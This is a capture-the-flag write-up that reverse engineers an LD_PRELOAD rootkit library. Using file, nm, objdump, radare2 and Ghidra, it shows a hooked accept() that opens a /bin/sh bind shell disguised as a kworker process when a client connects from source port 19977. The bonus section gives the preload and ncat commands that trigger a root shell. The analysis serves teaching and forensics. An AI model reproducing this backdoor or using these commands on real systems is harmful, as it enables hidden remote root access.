Rootkit (gold, 200p)

Cyber police recovered rootkit that was used to steal 1000 Bitcoins from Online trading platform.
They are asking for help to retrieve hidden port that was used to access compromised server.
Only clue they can give You is that this rootkit hold a different functions but only one can be used as mentioned backdoor.
This will require some skills in reverse engineering and instruction reading but stakes are too high to fail.
Can You help Cyber Police to find a critical clue in investigation?
rootkit.so

solution

File rootkit.so is a dynamic library, with debugging information available (not stripped).

$ file rootkit.so
rootkit.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=6517a857d360de3ec4a99ade5c8f481dc20047ce, not stripped

Retrieve function list.

$ nm -D rootkit.so | grep ' T ' | sort
0000000000000a60 T _init
0000000000000c9a T readdir
0000000000000d0b T accept
0000000000000e00 T falsify_tcp
0000000000000ef0 T fopen
0000000000001029 T fopen64
0000000000001164 T _fini

Looking at the function list, it looks like LD_PRELOAD rootkit. If LD_PRELOAD is set to rootkit.so, then it will be loaded before any other library (e.g., libc) and functions can be overwritten. Only a single function deals with ports and that is accept(), which accept a connection on a socket.

Educated guess how overwritten accept() function works, is that it checks incoming port number. Otherwise, a bind() function would be used to listen on specific port.

Reverse-engineering accept() function reveals exactly that - after accept() is called, a source port is checked. In this case it's port 0x4e09 or 19977, which is the flag.

objdump -M intel -d rootkit.so | sed '/<accept>:/,/^$/!d'
    0000000000000d0b <accept>:
      d0b:       55                      push   rbp
      d0c:       48 89 e5                mov    rbp,rsp
      d0f:       53                      push   rbx
      d10:       48 83 ec 78             sub    rsp,0x78
      d14:       89 7d 9c                mov    DWORD PTR [rbp-0x64],edi
      d17:       48 89 75 90             mov    QWORD PTR [rbp-0x70],rsi
      d1b:       48 89 55 88             mov    QWORD PTR [rbp-0x78],rdx
      d1f:       64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
      d26:       00 00
      d28:       48 89 45 e8             mov    QWORD PTR [rbp-0x18],rax
      d2c:       31 c0                   xor    eax,eax
      d2e:       48 8d 35 48 04 00 00    lea    rsi,[rip+0x448]        # 117d <_fini+0x19>
      d35:       48 c7 c7 ff ff ff ff    mov    rdi,0xffffffffffffffff
      d3c:       e8 3f fe ff ff          call   b80 <dlsym@plt>
      d41:       48 89 c2                mov    rdx,rax
      d44:       48 8b 05 85 12 20 00    mov    rax,QWORD PTR [rip+0x201285]        # 201fd0 <_accept@@Base-0xf0>
      d4b:       48 89 10                mov    QWORD PTR [rax],rdx
      d4e:       48 8b 05 7b 12 20 00    mov    rax,QWORD PTR [rip+0x20127b]        # 201fd0 <_accept@@Base-0xf0>
      d55:       48 8b 00                mov    rax,QWORD PTR [rax]
      d58:       48 8b 55 88             mov    rdx,QWORD PTR [rbp-0x78]
      d5c:       48 8d 75 b0             lea    rsi,[rbp-0x50]
      d60:       8b 4d 9c                mov    ecx,DWORD PTR [rbp-0x64]
      d63:       89 cf                   mov    edi,ecx
      d65:       ff d0                   call   rax
      d67:       89 45 ac                mov    DWORD PTR [rbp-0x54],eax
      d6a:       0f b7 5d b2             movzx  ebx,WORD PTR [rbp-0x4e]
      d6e:       bf 09 4e 00 00          mov    edi,0x4e09
      d73:       e8 58 fd ff ff          call   ad0 <htons@plt>
      d78:       66 39 c3                cmp    bx,ax
      d7b:       75 65                   jne    de2 <accept+0xd7>
      d7d:       e8 0e fe ff ff          call   b90 <fork@plt>
      d82:       85 c0                   test   eax,eax
      d84:       75 4b                   jne    dd1 <accept+0xc6>
      d86:       8b 45 ac                mov    eax,DWORD PTR [rbp-0x54]
      d89:       be 01 00 00 00          mov    esi,0x1
      d8e:       89 c7                   mov    edi,eax
      d90:       e8 4b fd ff ff          call   ae0 <dup2@plt>
      d95:       8b 45 ac                mov    eax,DWORD PTR [rbp-0x54]
      d98:       be 00 00 00 00          mov    esi,0x0
      d9d:       89 c7                   mov    edi,eax
      d9f:       e8 3c fd ff ff          call   ae0 <dup2@plt>
      da4:       48 8d 05 d9 03 00 00    lea    rax,[rip+0x3d9]        # 1184 <_fini+0x20>
      dab:       48 89 45 c0             mov    QWORD PTR [rbp-0x40],rax
      daf:       48 c7 45 c8 00 00 00    mov    QWORD PTR [rbp-0x38],0x0
      db6:       00
      db7:       48 8d 45 c0             lea    rax,[rbp-0x40]
      dbb:       ba 00 00 00 00          mov    edx,0x0
      dc0:       48 89 c6                mov    rsi,rax
      dc3:       48 8d 3d ca 03 00 00    lea    rdi,[rip+0x3ca]        # 1194 <_fini+0x30>
      dca:       e8 61 fd ff ff          call   b30 <execve@plt>
      dcf:       eb 11                   jmp    de2 <accept+0xd7>
      dd1:       8b 45 ac                mov    eax,DWORD PTR [rbp-0x54]
      dd4:       89 c7                   mov    edi,eax
      dd6:       e8 35 fd ff ff          call   b10 <close@plt>
      ddb:       b8 ff ff ff ff          mov    eax,0xffffffff
      de0:       eb 03                   jmp    de5 <accept+0xda>
      de2:       8b 45 ac                mov    eax,DWORD PTR [rbp-0x54]
      de5:       48 8b 4d e8             mov    rcx,QWORD PTR [rbp-0x18]
      de9:       64 48 33 0c 25 28 00    xor    rcx,QWORD PTR fs:0x28
      df0:       00 00
      df2:       74 05                   je     df9 <accept+0xee>
      df4:       e8 c7 fc ff ff          call   ac0 <__stack_chk_fail@plt>
      df9:       48 83 c4 78             add    rsp,0x78
      dfd:       5b                      pop    rbx
      dfe:       5d                      pop    rbp
      dff:       c3                      ret

bonus #1

Reverse-engineering this with radare2 would provide a more readable output overall.

$ r2 -AA rootkit.so
Warning: run r2 with -e io.cache=true to fix relocations in disassembly
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Finding function preludes
[x] Enable constraint types analysis for variables
  -- Your mouse has moved. Radare2 NT must be restarted for the change to take effect. Reboot now? [ OK ]
[0x00000bc0]> pdf @ sym.accept
            ;-- rip:
┌ 245: sym.accept (int64_t arg1, int64_t arg2, int64_t arg3);
│           ; var int64_t var_78h @ rbp-0x78
│           ; var int64_t var_70h @ rbp-0x70
│           ; var int64_t var_64h @ rbp-0x64
│           ; var int64_t fildes @ rbp-0x54
│           ; var int64_t var_50h @ rbp-0x50
│           ; var int64_t var_4eh @ rbp-0x4e
│           ; var char *var_40h @ rbp-0x40
│           ; var int64_t var_38h @ rbp-0x38
│           ; var int64_t canary @ rbp-0x18
│           ; arg int64_t arg1 @ rdi
│           ; arg int64_t arg2 @ rsi
│           ; arg int64_t arg3 @ rdx
│           0x00000d0b      55             push rbp
│           0x00000d0c      4889e5         mov rbp, rsp
│           0x00000d0f      53             push rbx
│           0x00000d10      4883ec78       sub rsp, 0x78
│           0x00000d14      897d9c         mov dword [var_64h], edi    ; arg1
│           0x00000d17      48897590       mov qword [var_70h], rsi    ; arg2
│           0x00000d1b      48895588       mov qword [var_78h], rdx    ; arg3
│           0x00000d1f      64488b042528.  mov rax, qword fs:[0x28]
│           0x00000d28      488945e8       mov qword [canary], rax
│           0x00000d2c      31c0           xor eax, eax
│           0x00000d2e      488d35480400.  lea rsi, str.accept         ; 0x117d ; "accept"
│           0x00000d35      48c7c7ffffff.  mov rdi, 0xffffffffffffffff
│           0x00000d3c      e83ffeffff     call sym.imp.dlsym
│           0x00000d41      4889c2         mov rdx, rax
│           0x00000d44      488b05851220.  mov rax, qword [reloc._accept] ; [0x201fd0:8]=0
│           0x00000d4b      488910         mov qword [rax], rdx
│           0x00000d4e      488b057b1220.  mov rax, qword [reloc._accept] ; [0x201fd0:8]=0
│           0x00000d55      488b00         mov rax, qword [rax]
│           0x00000d58      488b5588       mov rdx, qword [var_78h]
│           0x00000d5c      488d75b0       lea rsi, [var_50h]
│           0x00000d60      8b4d9c         mov ecx, dword [var_64h]
│           0x00000d63      89cf           mov edi, ecx
│           0x00000d65      ffd0           call rax
│           0x00000d67      8945ac         mov dword [fildes], eax
│           0x00000d6a      0fb75db2       movzx ebx, word [var_4eh]
│           0x00000d6e      bf094e0000     mov edi, 0x4e09
│           0x00000d73      e858fdffff     call sym.imp.htons
│           0x00000d78      6639c3         cmp bx, ax
│       ┌─< 0x00000d7b      7565           jne 0xde2
│       │   0x00000d7d      e80efeffff     call sym.imp.fork
│       │   0x00000d82      85c0           test eax, eax
│      ┌──< 0x00000d84      754b           jne 0xdd1
│      ││   0x00000d86      8b45ac         mov eax, dword [fildes]
│      ││   0x00000d89      be01000000     mov esi, 1
│      ││   0x00000d8e      89c7           mov edi, eax
│      ││   0x00000d90      e84bfdffff     call sym.imp.dup2
│      ││   0x00000d95      8b45ac         mov eax, dword [fildes]
│      ││   0x00000d98      be00000000     mov esi, 0
│      ││   0x00000d9d      89c7           mov edi, eax
│      ││   0x00000d9f      e83cfdffff     call sym.imp.dup2
│      ││   0x00000da4      488d05d90300.  lea rax, str._kworker_1:23H_ ; 0x1184 ; "[kworker/1:23H]"
│      ││   0x00000dab      488945c0       mov qword [var_40h], rax
│      ││   0x00000daf      48c745c80000.  mov qword [var_38h], 0
│      ││   0x00000db7      488d45c0       lea rax, [var_40h]
│      ││   0x00000dbb      ba00000000     mov edx, 0
│      ││   0x00000dc0      4889c6         mov rsi, rax
│      ││   0x00000dc3      488d3dca0300.  lea rdi, str._bin_sh        ; 0x1194 ; "/bin/sh"
│      ││   0x00000dca      e861fdffff     call sym.imp.execve
│     ┌───< 0x00000dcf      eb11           jmp 0xde2
│     │││   ; CODE XREF from sym.accept @ 0xd84
│     │└──> 0x00000dd1      8b45ac         mov eax, dword [fildes]
│     │ │   0x00000dd4      89c7           mov edi, eax                ; int fildes
│     │ │   0x00000dd6      e835fdffff     call sym.imp.close          ; int close(int fildes)
│     │ │   0x00000ddb      b8ffffffff     mov eax, 0xffffffff         ; -1
│     │┌──< 0x00000de0      eb03           jmp 0xde5
│     │││   ; CODE XREFS from sym.accept @ 0xd7b, 0xdcf
│     └─└─> 0x00000de2      8b45ac         mov eax, dword [fildes]
│      │    ; CODE XREF from sym.accept @ 0xde0
│      └──> 0x00000de5      488b4de8       mov rcx, qword [canary]
│           0x00000de9      6448330c2528.  xor rcx, qword fs:[0x28]
│       ┌─< 0x00000df2      7405           je 0xdf9
│       │   0x00000df4      e8c7fcffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│       │   ; CODE XREF from sym.accept @ 0xdf2
│       └─> 0x00000df9      4883c478       add rsp, 0x78
│           0x00000dfd      5b             pop rbx
│           0x00000dfe      5d             pop rbp
└           0x00000dff      c3             ret

Reverse-engineering this with Ghidra would provide a nice pseudocode.

int accept(int __fd,sockaddr *__addr,socklen_t *__addr_len)
{
  uint16_t uVar1;
  int __fd_00;
  __pid_t _Var2;
  long in_FS_OFFSET;
  undefined local_58 [2];
  uint16_t local_56;
  char *local_48;
  undefined8 local_40;
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  _accept = (code *)dlsym(0xffffffffffffffff,"accept");
  __fd_00 = (*_accept)((ulong)(uint)__fd,local_58,__addr_len,(ulong)(uint)__fd);
  uVar1 = htons(0x4e09);
  if (local_56 == uVar1) {
    _Var2 = fork();
    if (_Var2 == 0) {
      dup2(__fd_00,1);
      dup2(__fd_00,0);
      local_48 = "[kworker/1:23H]";
      local_40 = 0;
      execve("/bin/sh",&local_48,(char **)0x0);
    }
    else {
      close(__fd_00);
      __fd_00 = -1;
    }
  }
  if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
    return __fd_00;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

bonus #2

Rootkit can be easily executed to check how it's working.

In one terminal, preload rootkit.so and execute command, which uses original accept() function. A simple ncat would do.

$ LD_PRELOAD=/home/user/rootkit.so ncat -l 1234

In other terminal, connect to executed program, using 19977 as a source port. Connection is successful and running any command, just executes it, as rootkit has launched a /bin/sh.

$ ncat -p 19977 127.0.0.1 1234
id
uid=0(root) gid=0(root) groups=0(root)